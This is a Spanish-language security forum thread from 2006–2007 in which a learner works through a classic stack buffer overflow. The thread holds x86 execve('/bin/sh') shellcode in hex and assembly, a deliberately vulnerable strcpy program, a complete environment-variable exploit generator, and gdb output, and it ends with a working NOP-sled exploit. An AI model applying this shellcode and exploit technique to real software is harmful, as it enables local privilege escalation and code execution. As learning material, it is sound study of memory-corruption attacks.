elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 12:19  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Fallo de segmento, ejecución de código en la pila
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Fallo de segmento, ejecución de código en la pila  (Leído 2,117 veces)
folen

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Fallo de segmento, ejecución de código en la pila
« en: 16 Diciembre 2006, 00:34 »

Hola buenos noches a todos, no conozco a nadie de mi entorno que me pueda echar un cable en esto, a ver si alguien me puede arrojar algo de luz.

Estoy investigando un poco en esto de los bufferoverflows y shellcodes, pero llevo dos semanas atascado en un punto y no consigo avanzar....

Bueno he conseguido hacer un shellcode basico (shell), lo he conseguido ejecutar llamando al array como a una función

Código:
char shellcode[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x66\x07\x89\x46\x0c\xb0
\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xc3
\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

void main()
{
  int *ret;
  ret = (int *) &ret + 2;
  (*ret)= (int) shellcode;
}

esto me funciona... lo siguiente que he hecho (siguiendo el Smashing the Stack for Fun and Profit) es poner el shellcode seguido de una dir muchas veces (estimacion de la posicion del buffer), para al desbordarlo que se ejecute mi shell code.

el ASM del shell code es:
Código:
section .text
        global  _start

_start:

        jmp short    dest
cerca:
        pop    esi
        mov    [esi+8],esi
        xor    eax,eax
        mov    [esi+7], ah
        mov    [esi+12], eax
        mov    al,0xb
        mov    ebx,esi
        lea    ecx,[esi+8]
        lea    edx,[esi+12]
        int    0x80
        xor    ebx,ebx
        mov    ebx,eax
        inc    eax
        int    0x80
dest:
        call near cerca
        db     '/bin/sh'

el programa vulnerable es:
Código:
#include <string.h>
#include <stdio.h>

void main(int argc, char *argv[]) {
  char buffer[512];
  int i;

  if (argc > 1)
    strcpy(buffer,argv[1]);
}

bueno una vez expuesto el problema... vienen las preguntas XD

he desensamblado strcpy, y siguiendo un poco lo que haria en el caso del bufferoverflow en la pila, la direccion que estamos sobreescribiendo es la de retorno de main, no la de strcpy, puesto que los parametros de strcpy son solo direcciones y no el buffer en si, ¿no?

bueno el problema viene en q cuando intento hacer el bufferoverflow, me da un fallo de segmento (es porque ejecuto codigo en la pila? el gcc no hace esto en algunas circunstancias?), he ejecutado el programa vulnerable con strace -i y el SIGILL me lo manda cuando EIP apunta a:
Código:
mov    [esi+8],esi
y no tengo ni idea de que puedo estar haciendo mal... (me voy a volver loco)

bueno en caso de que alguien no sepa que le puede pasa, alguien sabe alguna herramienta para debuggear la ejecucion de un progma (un exe)? algun tipo de winice para linux (mejor en modo texto, no he probado LinIce no tengo pantalla en el server)
« Última modificación: 16 Diciembre 2006, 00:40 por folen » En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Fallo de segmento, ejecución de código en la pila
« Respuesta #1 en: 16 Diciembre 2006, 07:06 »

Hola folen. No he leido el texto que citas, pero en linux se que usan eggshells para tener direcciones fijas, para ser mas claros, variables de entorno (setenv()->exec()) que almacenan la shellcode. He comprobado con la practica que para la pila nunca se reserva siempre la misma direccion para diferentes ejecuciones con lo que tu salto es cada vez mas impredecible, de ahi debe ser el spreading que haces en la pila, o sea poner muchas shellcodes.
Respecto a lo de strcpy tenes razon. El que se manda la cagada aca es strcpy  :P, sobreescribe el ret de main, no de strcpy. Ahora respecto del error, ¿te fijaste el valor de esi?, posiblemente este saltando a mov [esi+8], esi de una. Usa gdb para depurarlo, y para ver el core dump gdb -c core.
Espero resultados  ;).-
« Última modificación: 16 Diciembre 2006, 07:08 por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
folen

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Fallo de segmento, ejecución de código en la pila
« Respuesta #2 en: 16 Diciembre 2006, 14:23 »

Hola buenas, lo primero de todo gracias por responder y por dedicarle algo de tiempo a la pregunta, vamos a ver si consigo hacer las cosas bien... y me sumergo del todo en este mundo

el shell code lo meto en una variable de entorno, bueno en realidad meto el shellcode+dir+dir+dir+dir+dir+...+dir

esta dir es una estimación de donde estara el buffer en el programa vulnerable.c, esta dirección puede parece dificil de predecir, pero compilando el programa vulnerable con opciones de depuración y haciendo
un

Código:
(gdb) p &buffer
se su dirección

este es el código que utilizo para meter el shellcode en la varle de entorno
Código:
//
// exploit.c
//

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define DEFAULT_OFFSET      0
#define DEFAULT_BUFFER_SIZE 512

char shellcode [] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x66\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xc3\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long get_sp(void)
{
  __asm__("movl %esp,%eax");
}

/*
  parametros:
   . bsize
   . offset
*/

void main(int argc, char **argv){
  char  *buff,*ptr;
  int   *addr_ptr, addr;
  int   offset=DEFAULT_OFFSET,bsize=DEFAULT_BUFFER_SIZE;
  int   i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  // supongo reserva en el heap
  if (!(buff = malloc(bsize))){
    printf("No se puede reservar memoria\n");
    exit(-1);
  }

  addr = get_sp() - offset;
  printf("Usando direccion: %x\n",addr);

  ptr = buff;
  addr_ptr = (int *) ptr;

  // metemos la posible direccion del buffer en nuestro buffer
  for (i=0 ; i < bsize ; i+=4)
    *(addr_ptr++) = addr;

  // sitio para "EGG="
  ptr += 4;

  for (i=0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  //terminamos la cadena
  buff[bsize - 4] = 0;
  buff[bsize - 3] = 0;
  buff[bsize - 2] = 0;
  buff[bsize - 1] = 0;

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}

bueno imaginemos ahora que he hecho

Código:
folen@frink:~/SSFP/funciona/exploit$ ./exploit 616 1736
Usando direccion: bffff3f0
folen@frink:~/SSFP/funciona/exploit$ gdb -q vulnerable
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) l
1       #include <string.h>
2       #include <stdio.h>
3
4       void main(int argc, char *argv[]) {
5         char buffer[512];
6         int i;
7
8         if (argc > 1)
9           strcpy(buffer,argv[1]);
10      }
(gdb) b 9
Breakpoint 1 at 0x804839d: file vulnerable.c, line 9.
tenemos el shellcode+dir+dir+...+dir en la variable $EGG, siendo dir : bffff3f0

ejetamos vulnerable desde gdb
Código:
(gdb) r $EGG
Starting program: /home/folen/SSFP/funciona/exploit/vulnerable $EGG

Breakpoint 1, main (argc=2, argv=0xbffff654) at vulnerable.c:9
9           strcpy(buffer,argv[1]);
(gdb) p &buffer
$1 = (char (*)[512]) 0xbffff3f0
(gdb) q

en teoria la direccion es buena, no?

bueno por mas que lo intento no consigo que funcione...

he mirado lo del core y he activado para que se haga el volcado de memoria del proceso (ulimit)

Código:
folen@frink:~/SSFP/funciona/exploit$ ./exploit 616 1736
Usando direccion: bffff3f0
folen@frink:~/SSFP/funciona/exploit$ ./vulnerable $EGG
Segmentation fault (core dumped)

mirando el volcado...
Código:
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./vulnerable �^�1��f�F
                                              �
                                               ����V
                                                    ̀1ۉ�@̀�����/bin/sh��������������������
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0xbffff3f4 in ?? ()

he hecho un bt y me han salido una ristra gigante de direcciones, voy a poner una pequeña parte...

Código:
(gdb) bt
#0  0xbffff3f4 in ?? ()
#1  0xbffff3f0 in ?? ()
#2  0xbffff3f0 in ?? ()
#3  0xbffff3f0 in ?? ()
#4  0xbffff3f0 in ?? ()
#5  0xbffff3f0 in ?? ()
#6  0xbffff3f0 in ?? ()
#7  0xbffff3f0 in ?? ()
#8  0xbffff3f0 in ?? ()
#9  0xbffff3f0 in ?? ()
#10 0xbffff3f0 in ?? ()
#11 0xbffff3f0 in ?? ()
#12 0xbffff3f0 in ?? ()
#13 0xbffff3f0 in ?? ()
#14 0xbffff3f0 in ?? ()
#15 0xbffff3f0 in ?? ()
#16 0xbffff3f0 in ?? ()
#17 0xbffff3f0 in ?? ()
#18 0xbffff3f0 in ?? ()
#19 0xbffff3f0 in ?? ()
#20 0xbffff3f0 in ?? ()
#21 0x00000000 in ?? ()
#22 0xbffff78b in ?? ()
#23 0xbffff798 in ?? ()
#24 0x00000000 in ?? ()
#25 0xbffff9f9 in ?? ()

parece como si estubiera entrando todo el rato en la funcion de la direccion  0xbffff3f0 (direccion del buffer, donde esta cargado el shellcode), pero qui estoy perdido... y sinceramente no se que estoy haciendo mal...


antes creia que no eejaba ejecutar código en la pila, pero he hecho una prueba con un progrma y ese no parece el problema :)(algo bueno)

trato de desbordar un buffer en la pila

1.- buffer es local a f() y esta en la pila
2.- relleno large_string con dir de buffer
3.- copio shellcode en large_string
4.- desbordo buffer con large_string

Código:
#include <stdio.h>
#include <string.h>

char shellcode [] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x66\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xc3\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

char large_string [128];

void f(void){
  char buffer[96];
  int i;
  int *l_ptr = (int *) large_string;

  for (i=0;i<32;i++)
    *(l_ptr + i) = (int) buffer;

  for (i=0;i<strlen(shellcode);i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}

void main (){
  f();
}

Esto me funciona y ejecuto mi shell  :D ;D

Código:
folen@frink:~/SSFP/funciona/overflow2$ ./overflow
sh-2.05b$ exit
exit
folen@frink:~/SSFP/funciona/overflow2$ ?! magnifico

algun consejo?

PD: gracias de antemano
« Última modificación: 16 Diciembre 2006, 14:33 por folen » En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Fallo de segmento, ejecución de código en la pila
« Respuesta #3 en: 16 Diciembre 2006, 21:50 »

No quiero ser apresurado en lo que digo, pero creo que estas interpretando mal el uso de una eggshell. La idea de poner la shell en una variable de ambiente es para tener una dir mas o menos fija con la cual sobreescribir eip.
Código:
folen@frink:~/SSFP/funciona/exploit$ ./vulnerable $EGG
No es esa la idea  :-\.
Es simple mira, vos metes la shell en la variable EGG como bien hiciste. Despues codeate un
Código:
printf("Direccion de EGG=%.8x",getnenv("EGG"));
Ahi vas a tener la direccion probable en donde esta tu shellcode.  Despues desborda buffer[512] con basura hasta llegar a eip y ahi le metes la dir de EGG en el entorno.
A todo esto, fijate que no necesitas saber la direccion de buffer[512], sino la direccion de la variable de entorno EGG.
No soy un guru en esto te digo, y me surgieron algunas dudas mientras escribia  :rolleyes:. Digo si las variables de entorno se meten en la pila del proceso, puede ser que dos procesos diferentes tengan direcciones diferentes de una misma variable de entorno  :-\. De ahi que me parece que seria una buena practica poner NOP's y la shellcode al final.
Estaba leyendo esto, miralo, seguro te va a servir.
Otras cosas porq pones esp muchas veces en el buffer?. Tu EGG es de 512 bytes - strlen("EGG="), o sea que no llega a desbordar buffer[512]. ¿la salida de print $eip?, con que valor se sobreescibe?. "p &buffer" te va a dar la dir de la variable buffer pero no la dir a la que apunta buffer que es donde esta la shell, mejor "p buffer". Volca la pila y fijate, no hagas un backtrace, volca memoria con "x" creo que era, "x $esp", pero ademas tenias que ponerle el tipo de dato a volcar y la cantidad. No tengo a mano linux, lo estoy por instalar, en cuanto pueda te  confirmo  ;).
Saludos.-
« Última modificación: 16 Diciembre 2006, 21:59 por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
folen

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Fallo de segmento, ejecución de código en la pila
« Respuesta #4 en: 25 Diciembre 2006, 22:45 »

Buenas, perdona por no contestar antes, estoy con varios lios. Bueno parece ser que asi si que funciona, teniendo en una variable de entorno el shellcode lo podemos ejecutar desde una posicion fija (en cambio cuando lo metes en la pila como parametro si varia su direccion y es dificil de ejecutar), esto esta bien y mal...

Bien: puedo seguir investigando
Mal: estamos limitando la ejecucion de nuestro código a un proceso que en sus variables de entorno tenga nuestro shellcode... es decir si hay un apache vulnerable (por ejemplo), este no va a tener en su variable de entorno nuestro shellcode y se lo tedremos que pasar como buffer... ¿que opinas?

En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Fallo de segmento, ejecución de código en la pila
« Respuesta #5 en: 26 Diciembre 2006, 07:42 »

Sep, opino lo mismo. Si la vulnerabilidad es remota, no se tiene la posibilidad de crear una variable de entorno para alojar la sc. Pero si es local si, llamese "privilege escalation" :P.
Al parecer siempre que sea remoto el asunto se tiene que conocer una direccion aproximada de la direccion de pila usada por el proceso en cuestion.
Ahora que lo pienso se podria buscar algun jmp esp, al estilo win, en la sección de codigo del proceso vulnerable, o en cualquier sección ejecutable. Esa podria ser una direccion "fija", o sea no conozco bien los elfs, pero en los pe tenes una direccion base de carga, de esa manera el jmp esp(o lo que fuere) estaria siempre en una direccion fija. Claro que tenes que tener la suerte de encontrar el opcode que necesitas.
A mi parecer esto de desconocer la direccion exacta en la pila hace mucho mas dificil el exploiting en linux, ¿sabes si hay alguna manera de solucionar esto?.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
folen

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Fallo de segmento, ejecución de código en la pila
« Respuesta #6 en: 1 Enero 2007, 21:37 »

tio lo consegui!
Código:
folen@frink:~/SSFP/funciona/exploit2$ ./exploit 640 1600
Using address: 0xbffff468
folen@frink:~/SSFP/funciona/exploit2$ ./vulnerable $EGG
sh-2.05b$ exit

la solucion que he encontrado (en la web), es la de rellenar el principio del shell code con nop (0x90 en intel), quedano el shell code:

Código:
NOP
NOP
...
NOP
SHELLCODE
DIR_ESTIMADA
DIR_ESTIMADA
....
DIR_ESTIMADA

esto nos da un margen de error suficiente...

en fin a seguir :) y muchas gracias por todo

Encuanto acabe con esto no quiero limitarme solo a GNU/linux y empezare con win. Respecto a lo de ver en el ejecutable a direccion de carga no creo que sirva puesto que queremos estimar la direccion en la que se alojara una variable en la pila y hasta que no este cargado el proceso y se este ejectando no la sabremos, ¿no? (ya te digo que de win aun no se mucho)
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Fallo de segmento, ejecución de código en la pila
« Respuesta #7 en: 3 Enero 2007, 04:25 »

Enhorabuena!!  ;D.

Respecto a lo de ver en el ejecutable a direccion de carga no creo que sirva puesto que queremos estimar la direccion en la que se alojara una variable en la pila y hasta que no este cargado el proceso y se este ejectando no la sabremos, ¿no? (ya te digo que de win aun no se mucho)
En win se buscan opcodes del tipo jmp esp, por eso decia. Fijate q vos sabes que tu variable esta en la pila, por lo q esp va a apuntar a tu variable. Entonces si encontras algun jmp esp en alguna direccion fija en memoria(en alguna dll puede ser), vas a estar saltando a la pila y ejecutando la shellcode. De todas maneras por la estructura de microkernel de windows, el desarrollo de la shellcode es mucho mas complicada.
Saludos.-
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Dudas de principiantes, qué es: Pila, registro de segmento y mas :)
ASM
S3kh 7 2,554 Último mensaje 4 Febrero 2011, 20:56
por S3kh
Vulnerabilidad en pila Bluetooth de Microsoft 2.1 [ejecución remota de código]
Hacking Mobile
ANELKAOS 0 1,090 Último mensaje 13 Julio 2011, 13:02
por ANELKAOS
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines